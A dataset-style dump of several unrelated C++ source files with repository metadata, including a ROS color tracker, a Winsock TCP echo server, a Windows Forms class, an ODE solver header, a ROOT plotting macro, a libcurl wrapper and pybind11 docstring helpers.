float area;
float xpos;
CvMoments *moments = (CvMoments*)malloc(sizeof(CvMoments));
while(ros::ok())
{
//Capture fram
image = cvQueryFrame(capture);
//Remove all colors but those in range
redTrack = GetThresholdedImage(image);
//Calculate the moments, area, x-position
cvMoments(redTrack, moments, 1);
moment10 = cvGetSpatialMoment(moments, 1, 0);
area = cvGetCentralMoment(moments, 0, 0);
xpos = moment10/area;
ROS_INFO("Area: %f", area);
ROS_INFO("x position: %f", xpos);
std_msgs::Float32 msg;
msg.data = xpos;
colorPub.publish(msg);
cvShowImage("Window", redTrack);
int ch = cvWaitKey(1);
loop_rate.sleep();
}
free(moments);
cvDestroyWindow("Window");
cvReleaseCapture(&capture);
return 0;
}
| [
"nickcox61@gmail.com"
] | nickcox61@gmail.com |
924e69cb349aab5037d79150ee48f53385f647aa | 883ec41da45326b0e01844248186a990cef065ad | /网络编程/TCP-Server.cpp | 9244cdc642066d0383eba1382f6dc35ed41517c3 | [] | no_license | PeterChen1997/C--learning-note | 38719a205093fbb14d4acb29e41553e4717a5c45 | 447e46356bf2c8a9890328f6440817c6259a76b7 | refs/heads/master | 2020-03-11T22:30:42.197454 | 2018-11-23T08:41:49 | 2018-11-23T08:41:49 | 130,294,232 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 2,521 | cpp | #include <iostream>
#include <WS2tcpip.h>
#pragma comment (lib, "ws2_32.lib")
using namespace std;
#define LISTENING_PORT 5050
int main()
{
// 初始化winsock
WSADATA wsData;
WORD ver = MAKEWORD(2, 2);
int wsOk = WSAStartup(ver, &wsData);
if (wsOk != 0)
{
cerr << "Can't initialize winsock! Quitting!" << endl;
return 0;
}
// 新建socket
SOCKET listening = socket(AF_INET, SOCK_STREAM, 0);
if (listening == INVALID_SOCKET)
{
cerr << "Can't create a socket! Quitting" << endl;
return 0;
}
// 绑定ip port到socket
sockaddr_in hint;
hint.sin_family = AF_INET;
hint.sin_port = htons(LISTENING_PORT);
hint.sin_addr.S_un.S_addr = INADDR_ANY; // could use inet_pton too...
bind(listening, (sockaddr*)&hint, sizeof(hint));
// 开始监听
listen(listening, SOMAXCONN);
// 等待连接
sockaddr_in client;
int clientSize = sizeof(client);
SOCKET clientSocket = accept(listening, (sockaddr*)&client, &clientSize);
if (clientSocket == INVALID_SOCKET)
{
cerr << "Can't accept clientSocket! Quitting" << endl;
return 0;
}
char host[NI_MAXHOST]; // client's remote name
char service[NI_MAXSERV]; // service the client is connect on
ZeroMemory(host, NI_MAXHOST); // same as memset(host, 0, NI_MAXHOST);
ZeroMemory(service, NI_MAXSERV);
if (getnameinfo((sockaddr*)&client, sizeof(client), host, NI_MAXHOST, service, NI_MAXSERV, 0) == 0)
{
cout << host << " connected on port " << service << endl;
}
else
{
inet_ntop(AF_INET, &client.sin_addr, host, NI_MAXHOST);
cout << host << " connected on port " << ntohs(client.sin_port) << endl;
}
// 关闭socket
closesocket(listening);
// while loop: accept and echo message back to client
char buf[4096];
while(true)
{
ZeroMemory(buf, 4096);
// wait for client to send data
int bytesReceived = recv(clientSocket, buf, 4096, 0);
if (bytesReceived == SOCKET_ERROR)
{
cerr << "Error in recv(). Quitting" << endl;
break;
}
if (bytesReceived == 0)
{
cout << "Client disconnected " << endl;
break;
}
// echo message back to client
send(clientSocket, buf, bytesReceived + 1, 0);
}
// close the socket
closesocket(clientSocket);
// clean up winsock
WSACleanup();
return 0;
} | [
"747853229@qq.com"
] | 747853229@qq.com |
21b07306e5339dc95e2400ccedb554f39653c73f | 64e3a035e30e68849f39ca1e3ab12ac5a13b0522 | /Week 1/ComponentsReview/ComponentsReview/TextToButton.h | 92dcc73654d604c7ff4b324814c9f065dc7f8d93 | [] | no_license | Carthur-P/Programming-4 | 598bc6810cafa1ba11d3472ac2c40ed4b1052d37 | 1934d57e4033e5a308f01d318a4a4714eee435d3 | refs/heads/master | 2022-06-27T03:38:49.474381 | 2020-05-07T08:49:25 | 2020-05-07T08:49:25 | 259,894,215 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 3,230 | h | #pragma once
#include "ListBoxText.h"
namespace ComponentsReview {
using namespace System;
using namespace System::ComponentModel;
using namespace System::Collections;
using namespace System::Windows::Forms;
using namespace System::Data;
using namespace System::Drawing;
/// <summary>
/// Summary for TextToButton
/// </summary>
public ref class TextToButton : public System::Windows::Forms::Form
{
public:
TextToButton(void)
{
InitializeComponent();
//
//TODO: Add the constructor code here
//
}
protected:
/// <summary>
/// Clean up any resources being used.
/// </summary>
~TextToButton()
{
if (components)
{
delete components;
}
}
private: System::Windows::Forms::Button^ button1;
private: System::Windows::Forms::Button^ button2;
private: System::Windows::Forms::TextBox^ textBox1;
protected:
private:
/// <summary>
/// Required designer variable.
/// </summary>
System::ComponentModel::Container ^components;
#pragma region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
void InitializeComponent(void)
{
this->button1 = (gcnew System::Windows::Forms::Button());
this->button2 = (gcnew System::Windows::Forms::Button());
this->textBox1 = (gcnew System::Windows::Forms::TextBox());
this->SuspendLayout();
//
// button1
//
this->button1->Location = System::Drawing::Point(102, 22);
this->button1->Name = L"button1";
this->button1->Size = System::Drawing::Size(75, 23);
this->button1->TabIndex = 0;
this->button1->Text = L"Next";
this->button1->UseVisualStyleBackColor = true;
this->button1->Click += gcnew System::EventHandler(this, &TextToButton::button1_Click);
//
// button2
//
this->button2->Location = System::Drawing::Point(102, 70);
this->button2->Name = L"button2";
this->button2->Size = System::Drawing::Size(75, 23);
this->button2->TabIndex = 1;
this->button2->Text = L"Change";
this->button2->UseVisualStyleBackColor = true;
this->button2->Click += gcnew System::EventHandler(this, &TextToButton::button2_Click);
//
// textBox1
//
this->textBox1->Location = System::Drawing::Point(58, 118);
this->textBox1->Name = L"textBox1";
this->textBox1->Size = System::Drawing::Size(160, 20);
this->textBox1->TabIndex = 2;
//
// TextToButton
//
this->AutoScaleDimensions = System::Drawing::SizeF(6, 13);
this->AutoScaleMode = System::Windows::Forms::AutoScaleMode::Font;
this->ClientSize = System::Drawing::Size(284, 163);
this->Controls->Add(this->textBox1);
this->Controls->Add(this->button2);
this->Controls->Add(this->button1);
this->Name = L"TextToButton";
this->Text = L"Excercise 2";
this->ResumeLayout(false);
this->PerformLayout();
}
#pragma endregion
private: System::Void button1_Click(System::Object^ sender, System::EventArgs^ e) {
this->Hide();
ListBoxText^ nxtForm = gcnew ListBoxText();
nxtForm->Show();
}
private: System::Void button2_Click(System::Object^ sender, System::EventArgs^ e) {
button2->Text = textBox1->Text;
}
};
}
| [
"pongp1@student.op.ac.nz"
] | pongp1@student.op.ac.nz |
3242253fd6549d8f3a88a786d9173b9424e6e6be | 92f79f4e9197bbb048cd61199d6c74c10681aef7 | /TimeScheme.h | 1004a8af9954a48782cffd114e6acf4e5d90f830 | [] | no_license | crenault002/Exemple | d8d2b792c301c9ced92768a55915dfaf9b4a1ef9 | f3538df0aed3d2c217cc940d2ac31c19965d9f41 | refs/heads/master | 2021-01-20T09:57:25.677340 | 2017-08-28T07:27:28 | 2017-08-28T07:27:28 | 101,614,701 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,182 | h | #ifndef FILE_TIME_SCHEME_H
#include "OdeSystem.h"
class TimeScheme
{
protected:
// Pas de temps
double _dt;
// Temps en cours
double _t;
// Vecteur initial et vecteur solution
Eigen::VectorXd _sol0, _sol;
// Reference vers le systeme d'EDO
OdeSystem& _sys;
public:
// Constructeur avec le systeme d'EDO
TimeScheme(OdeSystem& sys);
// Destructeur par défaut - Si la classe ne contient pas de destructeur par défaut
// alors le compilateur en génère un implicitement.
virtual ~TimeScheme();
// Initialisation de vos différentes variables
void Initialize(double t0, double dt, Eigen::VectorXd& rho0);
// Une étape du schéma en temps
virtual void Advance() = 0;
// Permet de récupérer _sol
const Eigen::VectorXd & GetIterateSolution() const;
};
class EulerScheme : public TimeScheme
{
public:
EulerScheme(OdeSystem& sys) : TimeScheme(sys) {}
// Une étape du schéma en temps
void Advance();
};
class RungeKuttaScheme : public TimeScheme
{
public:
RungeKuttaScheme(OdeSystem& sys) : TimeScheme(sys) {}
// Une étape du schéma en temps
void Advance();
};
#define FILE_TIME_SCHEME_H
#endif
| [
"renault.chloe@gmail.com"
] | renault.chloe@gmail.com |
20a4bfd9634488a3c121417121735694f85a3568 | a7c366e8b0c0abf919e1a571c83f98058c53cd95 | /myCheck2Dweights.cc | 8cb9eb707c8abac113b693683fb058dbbaf98c76 | [
"CC-BY-4.0"
] | permissive | mhuwiler/photonIDMVA | bc20a29ebbc3db8d66cbc112c18fde22d440184a | 07417eea2c4e1f4fb66ffa2ce6c9c963b9d2a875 | refs/heads/master | 2020-04-05T07:56:20.307854 | 2019-02-04T17:47:55 | 2019-02-04T17:47:55 | 156,694,152 | 0 | 0 | null | 2018-11-08T11:06:56 | 2018-11-08T11:06:56 | null | UTF-8 | C++ | false | false | 8,415 | cc | #include "TROOT.h"
#include "TKey.h"
#include "TFile.h"
#include "TSystem.h"
#include "TCanvas.h"
#include "TTree.h"
#include "TH1F.h"
#include "TH2F.h"
#include "TObjArray.h"
#include "THStack.h"
#include "TLegend.h"
#include "TEfficiency.h"
#include "TGraphAsymmErrors.h"
#include "TF1.h"
#include "TMath.h"
#include "TCut.h"
#include "TPaletteAxis.h"
#include "TLatex.h"
#include <iostream>
#include <fstream>
#include <sstream>
#include <cstring>
#include <string>
#include <algorithm>
void myCheck2Dweights(){
Bool_t isEndcap = false;
TString outputfilename = "plotCheck2DWeights";
TFile *File = TFile::Open("$EOSPATH/data/added/PhotonID/output_GJet_Combined_DoubleEMEnriched_TuneCP5_13TeV_Pythia8_reweighted.root");
// Local computer Mac : /Users/mhuwiler/cernbox/data/added/PhotonID/output_GJet_Combined_DoubleEMEnriched_TuneCP5_13TeV_Pythia8_reweighted.root
TTree *signal = static_cast<TTree*>(File->Get("promptPhotons"));
TTree *background = static_cast<TTree*>(File->Get("fakePhotons"));
// The cuts
TString cut, cutW;
// What is that ? "(covIphiIphi<100 && pt > 20)*weight";
if (isEndcap) {
cut = "(abs(scEta)>1.566 && pt > 20)*weight";
cutW = "(abs(scEta)>1.566 && pt > 20)*weight*PtvsEtaWeight";
}
else {
cut = "(abs(scEta)<1.4442 && pt > 20)*weight";
cutW = "(abs(scEta)<1.4442 && pt > 20)*weight*PtvsEtaWeight";
}
// Plotting the pT
{
TCanvas * canvasPt = new TCanvas("can_pT","can_pT",800,600);
Int_t nPtBins = 31;
Double_t pTBins[32] = {10.0,12.0,14.0,16.0,18.0,20.0,22.0,24.0,26.0,28.0,30.0,32.0,34.0,36.0,38.0,40.0,42.0,44.0,46.0,48.0,50.0,55.0,60.0,65.0,70.0,75.0,80.0,90.0,100.0,150.0,200.0,250.0};
// One edge more than bins
THStack *histoStack = new THStack("histoStack", "");
TH1D *histSig = new TH1D("histSig", "Signal distribution", nPtBins, pTBins);
TH1D *histBkg = new TH1D("histBkg", "Background distribution", nPtBins, pTBins);
TH1D *histSigRw = new TH1D("histSigRw", "Reweighted Signal distribution", nPtBins, pTBins);
background->Draw("pt>>histBkg", cut, "goff");
signal->Draw("pt>>histSig", cut, "goff");
signal->Draw("pt>>histSigRw", cutW, "goff");
// histBkg->Sumw2(); // Stores the sum squared of the weights
// histSig->Sumw2(); // Normalises the errors with the weights
// histSigRw->Sumw2();
// Normalising histograms
histBkg->Scale(1./histBkg->Integral());
histSig->Scale(1./histSig->Integral());
histSigRw->Scale(1./histSigRw->Integral());
Double_t maxValue = max(histSig->GetBinContent(histSig->GetMaximumBin()), histBkg->GetBinContent(histBkg->GetMaximumBin()))*1.2;
// Setting style fot background
histBkg->SetMinimum(0.);
histBkg->SetMarkerColor(kRed);
histBkg->SetLineColor(kRed);
histBkg->SetLineWidth(2);
histBkg->SetMarkerStyle(20);
histBkg->SetMarkerSize(0.7);
// Setting style for signal
histSig->SetMinimum(0.);
histSig->SetLineColor(kBlue);
histSig->SetLineWidth(2);
histSig->SetMarkerColor(kBlue);
histSig->SetMarkerStyle(20);
histSig->SetMarkerSize(0.7);
// Setting style for reweighted signal
histSigRw->SetMarkerColor(kGreen+1);
histSigRw->SetLineColor(kGreen+1);
histSigRw->SetLineWidth(2);
histSigRw->SetMarkerStyle(20);
histSigRw->SetMarkerSize(0.7);
histoStack->Add(histSig);
histoStack->Add(histBkg);
histoStack->Add(histSigRw);
TLegend *legendPt = new TLegend(0.6,0.65,.9,0.90,"","brNDC");
if(isEndcap) legendPt->SetHeader("ECAL Endcap");
else legendPt->SetHeader("ECAL Barrel");
legendPt->SetBorderSize(0);
legendPt->SetFillStyle(0);
legendPt->SetTextFont(42);
legendPt->AddEntry(histBkg,"bkg","lem");
legendPt->AddEntry(histSig,"sig","lem");
legendPt->AddEntry(histSigRw,"sig * 2D weight","lem");
canvasPt->cd();
histoStack->Draw("nostack");
legendPt->Draw("same");
// canvasPt->cd();
// histBkg->SetTitle("");
// histBkg->SetStats(0);
// histBkg->GetXaxis()->SetTitle("p_{T}");
// Double_t maxSig = histSig->GetBinContent(histSig->GetMaximumBin());
// Double_t maxBkg = histBkg->GetBinContent(histBkg->GetMaximumBin());
// Double_t maxValue = max(maxSig, maxBkg)*1.2;
// histBkg->SetMaximum(maxValue);
// histBkg->Draw();
// histSig->Draw("EPsame"); // EPsame :
// histSigRw->Draw("EPsame");
TLatex *txt = new TLatex(0.2, 0.9, "");
// txt->SetTextSize(0.05);
txt->DrawLatexNDC(0.1, 0.91, "CMS #bf{#it{#scale[0.8]{Simulation Preliminary}}}");
txt->DrawLatexNDC(0.76, 0.91, "#bf{13 TeV}");
txt->Draw("same");
histoStack->GetXaxis()->SetTitle("p_T");
canvasPt->Update();
canvasPt->Modified();
TString outname = outputfilename+"pT";
if (isEndcap) outname+="Endcap";
else outname+="Barrel";
canvasPt->SaveAs(outname+".pdf");
canvasPt->SaveAs(outname+".root");
canvasPt->SaveAs(outname+".png");
}
{
// Plotting the eta
TCanvas * canvasEta = new TCanvas("can_eta","can_eta",800,600);
Int_t nEtaBins = 10;
Double_t etaMin = 999., etaMax = 999.;
if (isEndcap) {
etaMin = 1.566;
etaMax = 2.5;
}
else {
etaMin = 0.;
etaMax = 1.4442;
}
// One edge more than bins
THStack *histoStack = new THStack("histoStackEta", "");
TH1D *histSig = new TH1D("histSig", "Signal distribution", nEtaBins, etaMin, etaMax);
TH1D *histBkg = new TH1D("histBkg", "Background distribution", nEtaBins, etaMin, etaMax);
TH1D *histSigRw = new TH1D("histSigRw", "Reweighted Signal distribution", nEtaBins, etaMin, etaMax);
background->Draw("abs(scEta)>>histBkg", cut, "goff");
signal->Draw("abs(scEta)>>histSig", cut, "goff");
signal->Draw("abs(scEta)>>histSigRw", cutW, "goff");
// histBkg->Sumw2(); // Stores the sum squared of the weights
// histSig->Sumw2(); // Normalises the errors with the weights
// histSigRw->Sumw2();
// Normalising histograms
histBkg->Scale(1./histBkg->Integral());
histSig->Scale(1./histSig->Integral());
histSigRw->Scale(1./histSigRw->Integral());
Double_t maxValue = max(histSig->GetBinContent(histSig->GetMaximumBin()), histBkg->GetBinContent(histBkg->GetMaximumBin()))*1.2;
// Setting style fot background
histBkg->SetMinimum(0.);
histBkg->SetMarkerColor(kRed);
histBkg->SetLineColor(kRed);
histBkg->SetLineWidth(2);
histBkg->SetMarkerStyle(20);
histBkg->SetMarkerSize(0.7);
// Setting style for signal
histSig->SetMinimum(0.);
histSig->SetLineColor(kBlue);
histSig->SetLineWidth(2);
histSig->SetMarkerColor(kBlue);
histSig->SetMarkerStyle(20);
histSig->SetMarkerSize(0.7);
// Setting style for reweighted signal
histSigRw->SetMarkerColor(kGreen+1);
histSigRw->SetLineColor(kGreen+1);
histSigRw->SetLineWidth(2);
histSigRw->SetMarkerStyle(20);
histSigRw->SetMarkerSize(0.7);
histoStack->Add(histSig);
histoStack->Add(histBkg);
histoStack->Add(histSigRw);
TLegend *legendEta = new TLegend(0.15,0.15,.45,0.45,"","brNDC");
if(isEndcap) legendEta->SetHeader("ECAL Endcap");
else legendEta->SetHeader("ECAL Barrel");
legendEta->SetBorderSize(0);
legendEta->SetFillStyle(0);
legendEta->SetTextFont(42);
legendEta->AddEntry(histBkg,"bkg","lem");
legendEta->AddEntry(histSig,"sig","lem");
legendEta->AddEntry(histSigRw,"sig * 2D weight","lem");
canvasEta->cd();
histoStack->Draw("nostack");
legendEta->Draw("same");
// canvasEta->cd();
// histBkg->SetTitle("");
// histBkg->SetStats(0);
// histBkg->GetXaxis()->SetTitle("p_{T}");
// Double_t maxSig = histSig->GetBinContent(histSig->GetMaximumBin());
// Double_t maxBkg = histBkg->GetBinContent(histBkg->GetMaximumBin());
// Double_t maxValue = max(maxSig, maxBkg)*1.2;
// histBkg->SetMaximum(maxValue);
// histBkg->Draw();
// histSig->Draw("EPsame"); // EPsame :
// histSigRw->Draw("EPsame");
TLatex *txt = new TLatex(0.2, 0.9, "");
// txt->SetTextSize(0.05);
txt->DrawLatexNDC(0.1, 0.91, "CMS #bf{#it{#scale[0.8]{Simulation Preliminary}}}");
txt->DrawLatexNDC(0.76, 0.91, "#bf{13 TeV}");
txt->Draw("same");
histoStack->GetXaxis()->SetTitle("sc #eta");
canvasEta->Update();
canvasEta->Modified();
TString outname = outputfilename+"Eta";
if (isEndcap) outname+="Endcap";
else outname+="Barrel";
canvasEta->SaveAs(outname+".pdf");
canvasEta->SaveAs(outname+".root");
canvasEta->SaveAs(outname+".png");
}
}
| [
"marc.huwiler@cern.ch"
] | marc.huwiler@cern.ch |
04fa8511ee7f0bf5b8996c324a4fb871df5f66c3 | 8e59f2470de88623fd720d552c8e089666b95228 | /tiny_curl.cpp | 395f6fd607e59471dff6bad6a06c91b01d861677 | [] | no_license | sakishum/cppCurl | c75860d8ae70ec16e6acbd062cab6fc908ed05bd | cb3f86c1a002e5b60f9237cbb1568701878c1b80 | refs/heads/master | 2021-01-22T12:02:55.759755 | 2013-04-07T11:27:52 | 2013-04-07T11:27:52 | 9,271,553 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 2,921 | cpp | /**
* @file tiny_curl.h
* @Synopsis A Very Lightweight cURL wrapper.
* @author Saki Shum, sakishum1118@gmail.com
* @version 0.0.1
* @date 2013-03-29
*/
#include "tiny_curl.h"
static size_t WriteBufferCallback(void *ptr, size_t size, size_t nmemb, void *data)
{
((string*)data)->append((const char*)ptr, size * nmemb);
return size * nmemb;
}
CTiny_curl::CTiny_curl(void)
:m_pcurl_handle(NULL)
{ /*NOTHING TO DO*/ }
CTiny_curl::~CTiny_curl(void)
{
if (NULL != m_pcurl_handle)
{
// always cleanup curl stuff
curl_easy_cleanup(m_pcurl_handle);
/// curl_global_cleanup is "None Thread Safe""
curl_global_cleanup();
}
}
int CTiny_curl::Init(void)
{
/// curl_global_init is "None Thread Safe""
CURLcode res = curl_global_init(CURL_GLOBAL_ALL);
if (CURLE_OK != res)
{
/// curl_global_init failed.
return -1;
}
// init the curl session
m_pcurl_handle = curl_easy_init();
if (NULL == m_pcurl_handle)
{
/// curl_easy_init failed.
return -1;
}
// send all data to this function
curl_easy_setopt(m_pcurl_handle, CURLOPT_WRITEFUNCTION, WriteBufferCallback);
// some server don't like requests that made without a user-agent
// field, so we provide one
curl_easy_setopt(m_pcurl_handle, CURLOPT_USERAGENT, "libcurl-agent/12.0");
return 1;
}
/**
* @Synopsis Get
* Http get
* @Param data
* @Param url
*
* @Returns content size
*/
size_t CTiny_curl::Get(string &data, string url)
{
if (NULL == m_pcurl_handle)
{
return 0;
}
// clear buffer
data.clear();
// we pass our 'chunk' struct to the callback function
curl_easy_setopt(m_pcurl_handle, CURLOPT_WRITEDATA, (void*)&data);
// specify URL to get
curl_easy_setopt(m_pcurl_handle, CURLOPT_URL, Replace_space(url).c_str());
// get it!
CURLcode res = curl_easy_perform(m_pcurl_handle); /* Post away */
if (CURLE_OK != res)
{
return 0;
}
return data.size();
}
/**
* @Synopsis Post
* Http post
* @Param data
* @Param url
* @Param command
*
* @Returns content size
*/
size_t CTiny_curl::Post(string &data, string url, string &command)
{
if (NULL == m_pcurl_handle)
{
return 0;
}
// clear buffer
data.clear();
// specify URL to post
curl_easy_setopt(m_pcurl_handle, CURLOPT_POSTFIELDS, command.c_str());
curl_easy_setopt(m_pcurl_handle, CURLOPT_URL, url.c_str());
// we pass our 'chunk' struct to the callback function
curl_easy_setopt(m_pcurl_handle, CURLOPT_WRITEDATA, (void*)&data);
// get it!
CURLcode res = curl_easy_perform(m_pcurl_handle); /* Post away */
if (CURLE_OK != res)
{
return 0;
}
return data.size();
}
/**
* @Synopsis Replace_space
* Replace all the space.
* @Param url
*
* @Returns no space string
*/
string CTiny_curl::Replace_space(string url)
{
string new_url;
const char *cptr = url.c_str();
while (*cptr)
{
if (*cptr == ' ')
{
new_url.append("%20");
}
else
{
new_url.push_back(*cptr);
}
cptr++;
}
return new_url;
}
| [
"sakishum11118@gmail.com"
] | sakishum11118@gmail.com |
19b973bad33dce2639df61165283c2cb9ff03e9b | c8f54e785f872f8240234728461d9af8dc0126dd | /chapter10/10.2.1/ex_10_5.cc | b4e3f9235697d232dfd3a34558750d0b319fe435 | [] | no_license | YMChenLiye/cpp_primer | 5d4cffc0e0a162757ff9f75e62b5a21891b38a7a | 33aba9f01b3e598648a9a30f0fc8ec979da294ae | refs/heads/master | 2021-01-10T14:36:01.678296 | 2016-03-03T11:07:17 | 2016-03-03T11:07:17 | 47,110,426 | 2 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 323 | cc | // @Brief In the call to equal on rosters, what would happen if both rosters held C-style strings, rather than library strings?
// @Answer For such case, std::equal is going to compare the address value rather than the string value.
// So the result is not the same as std::string. Try to avoid coding this way.
| [
"ymchenliye@gmail.com"
] | ymchenliye@gmail.com |
b0906347c48e2f68135b8b156414ed24f471a8d9 | f90e598203444818cba27902888a361f72815d37 | /src/Python/simplifyline_pybind/docstring/docstring.cpp | 728ca1eb9db6b1a4d29c9881b8a56a3492f9535f | [
"MIT"
] | permissive | JeremyBYU/simplifyline | dc899295314eea103be3ccdfab206c0e204d1180 | fd0ee7c93f0351460b017d165956bc8f731b8047 | refs/heads/master | 2023-06-12T09:03:30.970163 | 2021-07-09T20:37:59 | 2021-07-09T20:37:59 | 317,254,904 | 3 | 1 | null | null | null | null | UTF-8 | C++ | false | false | 19,619 | cpp | // ----------------------------------------------------------------------------
// - Open3D: www.open3d.org -
// ----------------------------------------------------------------------------
// The MIT License (MIT)
//
// Copyright (c) 2018 www.open3d.org
// Copyright (c) 2020 Jeremy Castagno - Small modifications
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
// IN THE SOFTWARE.
// ----------------------------------------------------------------------------
#include <regex>
#include <sstream>
#include <string>
#include <tuple>
#include <unordered_map>
#include <unordered_set>
#include "simplifyline_pybind/simplifyline_pybind.hpp"
#include "simplifyline_pybind/docstring/docstring.hpp"
namespace SimplifyLine {
namespace docstring {
// Count the length of current word starting from start_pos
size_t WordLength(const std::string& doc,
size_t start_pos,
const std::string& valid_chars)
{
std::unordered_set<char> valid_chars_set;
for (const char& c : valid_chars)
{
valid_chars_set.insert(c);
}
auto is_word_char = [&valid_chars_set](const char& c) {
return std::isalnum(c) ||
valid_chars_set.find(c) != valid_chars_set.end();
};
size_t length = 0;
for (size_t pos = start_pos; pos < doc.size(); ++pos)
{
if (!is_word_char(doc[pos]))
{
break;
}
length++;
}
return length;
}
std::string& LeftStripString(std::string& str, const std::string& chars)
{
str.erase(0, str.find_first_not_of(chars));
return str;
}
std::string& RightStripString(std::string& str, const std::string& chars)
{
str.erase(str.find_last_not_of(chars) + 1);
return str;
}
std::string& StripString(std::string& str, const std::string& chars)
{
return LeftStripString(RightStripString(str, chars), chars);
}
void SplitString(std::vector<std::string>& tokens,
const std::string& str,
const std::string& delimiters /* = " "*/,
bool trim_empty_str /* = true*/)
{
std::string::size_type pos = 0, new_pos = 0, last_pos = 0;
while (pos != std::string::npos)
{
pos = str.find_first_of(delimiters, last_pos);
new_pos = (pos == std::string::npos ? str.length() : pos);
if (new_pos != last_pos || !trim_empty_str)
{
tokens.push_back(str.substr(last_pos, new_pos - last_pos));
}
last_pos = new_pos + 1;
}
}
// ref: enum_base in pybind11.h
py::handle static_property =
py::handle((PyObject*)py::detail::get_internals().static_property_type);
void ClassMethodDocInject(py::module_& pybind_module,
const std::string& class_name,
const std::string& function_name,
const std::unordered_map<std::string, std::string>&
map_parameter_body_docs)
{
// Get function
PyObject* module = pybind_module.ptr();
PyObject* class_obj = PyObject_GetAttrString(module, class_name.c_str());
if (class_obj == nullptr)
{
std::cerr << class_name << " docstring failed to inject." << std::endl;
return;
}
PyObject* class_method_obj =
PyObject_GetAttrString(class_obj, function_name.c_str());
if (class_method_obj == nullptr)
{
std::cerr << class_name << ": " << function_name << " docstring failed to inject." << std::endl;
return;
}
// Extract PyCFunctionObject
PyCFunctionObject* f = nullptr;
#ifdef PYTHON_2_FALLBACK
if (Py_TYPE(class_method_obj) == &PyMethod_Type)
{
PyMethodObject* class_method = (PyMethodObject*)class_method_obj;
f = (PyCFunctionObject*)class_method->im_func;
}
#else
if (Py_TYPE(class_method_obj) == &PyInstanceMethod_Type)
{
PyInstanceMethodObject* class_method =
(PyInstanceMethodObject*)class_method_obj;
f = (PyCFunctionObject*)class_method->func;
}
#endif
if (Py_TYPE(class_method_obj) == &PyCFunction_Type)
{
// def_static in Pybind is PyCFunction_Type, no need to convert
f = (PyCFunctionObject*)class_method_obj;
}
if (f == nullptr || Py_TYPE(f) != &PyCFunction_Type)
{
return;
}
// TODO: parse __init__ separately, currently __init__ can be overloaded
// which might cause parsing error. So they are skipped.
if (function_name == "__init__")
{
return;
}
// Parse existing docstring to FunctionDoc
FunctionDoc fd(f->m_ml->ml_doc);
// Inject docstring
for (ArgumentDoc& ad : fd.argument_docs_)
{
if (map_parameter_body_docs.find(ad.name_) !=
map_parameter_body_docs.end())
{
ad.body_ = map_parameter_body_docs.at(ad.name_);
}
}
f->m_ml->ml_doc = strdup(fd.ToGoogleDocString().c_str());
}
void FunctionDocInject(py::module_& pybind_module,
const std::string& function_name,
const std::unordered_map<std::string, std::string>&
map_parameter_body_docs)
{
// Get function
PyObject* module = pybind_module.ptr();
PyObject* f_obj = PyObject_GetAttrString(module, function_name.c_str());
if (f_obj == nullptr)
{
std::cerr << function_name << " docstring failed to inject." << std::endl;
return;
}
if (Py_TYPE(f_obj) != &PyCFunction_Type)
{
return;
}
PyCFunctionObject* f = (PyCFunctionObject*)f_obj;
// Parse existing docstring to FunctionDoc
FunctionDoc fd(f->m_ml->ml_doc);
// Inject docstring
for (ArgumentDoc& ad : fd.argument_docs_)
{
if (map_parameter_body_docs.find(ad.name_) !=
map_parameter_body_docs.end())
{
ad.body_ = map_parameter_body_docs.at(ad.name_);
}
}
f->m_ml->ml_doc = strdup(fd.ToGoogleDocString().c_str());
}
FunctionDoc::FunctionDoc(const std::string& pybind_doc)
: pybind_doc_(pybind_doc)
{
ParseFunctionName();
ParseSummary();
ParseArguments();
ParseReturn();
}
void FunctionDoc::ParseFunctionName()
{
size_t parenthesis_pos = pybind_doc_.find("(");
if (parenthesis_pos == std::string::npos)
{
return;
}
else
{
std::string name = pybind_doc_.substr(0, parenthesis_pos);
name_ = name;
}
}
void FunctionDoc::ParseSummary()
{
size_t arrow_pos = pybind_doc_.rfind(" -> ");
if (arrow_pos != std::string::npos)
{
size_t result_type_pos = arrow_pos + 4;
size_t summary_start_pos =
result_type_pos +
WordLength(pybind_doc_, result_type_pos, "._:,[]() ,");
size_t summary_len = pybind_doc_.size() - summary_start_pos;
if (summary_len > 0)
{
std::string summary =
pybind_doc_.substr(summary_start_pos, summary_len);
summary_ = StringCleanAll(summary);
}
}
}
void FunctionDoc::ParseArguments()
{
// Parse docstrings of arguments
// Input: "foo(arg0: float, arg1: float = 1.0, arg2: int = 1) -> simplifyline.bar"
// Goal: split to {"arg0: float", "arg1: float = 1.0", "arg2: int = 1"} and
// call function to parse each argument respectively
std::vector<std::string> argument_tokens = GetArgumentTokens(pybind_doc_);
argument_docs_.clear();
for (const std::string& argument_token : argument_tokens)
{
argument_docs_.push_back(ParseArgumentToken(argument_token));
}
}
void FunctionDoc::ParseReturn()
{
size_t arrow_pos = pybind_doc_.rfind(" -> ");
if (arrow_pos != std::string::npos)
{
size_t result_type_pos = arrow_pos + 4;
std::string return_type = pybind_doc_.substr(
result_type_pos,
WordLength(pybind_doc_, result_type_pos,
"._:,[]() ,"));
return_doc_.type_ = StringCleanAll(return_type);
}
}
std::string FunctionDoc::ToGoogleDocString() const
{
// Example Gooele style:
// http://www.sphinx-doc.org/en/1.5/ext/example_google.html
std::ostringstream rc;
std::string indent = " ";
// Function signature to be parsed by Sphinx
